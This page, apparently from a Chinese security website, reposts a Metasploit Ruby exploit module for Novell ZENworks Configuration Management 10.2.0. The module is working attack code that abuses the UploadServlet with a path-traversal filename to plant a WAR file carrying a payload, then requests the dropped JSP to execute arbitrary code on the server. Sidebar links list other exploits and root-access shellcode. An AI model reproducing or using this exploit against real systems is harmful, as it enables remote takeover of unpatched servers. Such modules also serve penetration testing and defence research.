首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Novell ZENworks Configuration Management Remote Execution(meta)
来源:http://www.metasploit.com 作者:MC 发布时间:2010-06-07  
##
# $Id: zenworks_uploadservlet.rb 9419 2010-06-04 13:36:29Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'        => 'Novell ZENworks Configuration Management Remote Execution',
			'Description' => %q{
					This module exploits a code execution flaw in Novell ZENworks Configuration Management 10.2.0.
				By exploiting the UploadServlet, an attacker can upload a malicious file outside of the TEMP directory 
				and then make a secondary request that allows for arbitrary code execution.
			},
			'Author'      => [ 'MC' ],
			'License'     => MSF_LICENSE,
			'Version'     => '$Revision: 9419 
, 'References' => [ [ 'OSVDB', '63412' ], [ 'BID', '39114' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-078/' ], [ 'URL', 'http://tucanalamigo.blogspot.com/2010/04/pdc-de-zdi-10-078.html' ], ], 'Privileged' => true, 'Platform' => [ 'win' ], 'Targets' => [ [ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' }, ], ], 'DefaultTarget' => 0)) register_options([Opt::RPORT(80),], self.class) end def exploit arch = target['Arch'] plat = [Msf::Module::PlatformList.new(target['Platform']).platforms[0]] # Generate the WAR containing the EXE containing the payload app_base = rand_text_alphanumeric(4+rand(32-4)) jsp_name = rand_text_alphanumeric(8+rand(8)) war_data = Msf::Util::EXE.to_jsp_war(framework, arch, plat, payload.encoded, :jsp_name => jsp_name) res = send_request_cgi( { 'uri' => "/zenworks/UploadServlet?filename=../../webapps/#{app_base}.war", 'method' => 'POST', 'data' => war_data, 'headers' => { 'Content-Type' => 'application/octet-stream', } }) print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...") select(nil, nil, nil, 20) if (res.code == 200) print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...") send_request_raw( { 'uri' => "/#{app_base}/" + "#{jsp_name}" + '.jsp', 'method' => 'GET', }) else print_error("Denied...") end handler end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·FeedDemon <= 3.1.0.12 Stack Bu
·linux/x86 force unmount "/medi
·S.O.M.P.L 1.0 Player Buffer Ov
·Pixelpost Add Admin Exploit (h
·Adobe InDesign CS3 INDD file h
·linux/x86 displaying system te
·MP3 Studio v1.0 (mpf File) Loc
·OS X EvoCam Web Server Buffer
·48 bytes chown root:root /bin/
·45 bytes give all user root ac
·QtWeb 3.3 Remote DoS / Crash E
·Sony Ericsson GIF Crash bug
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved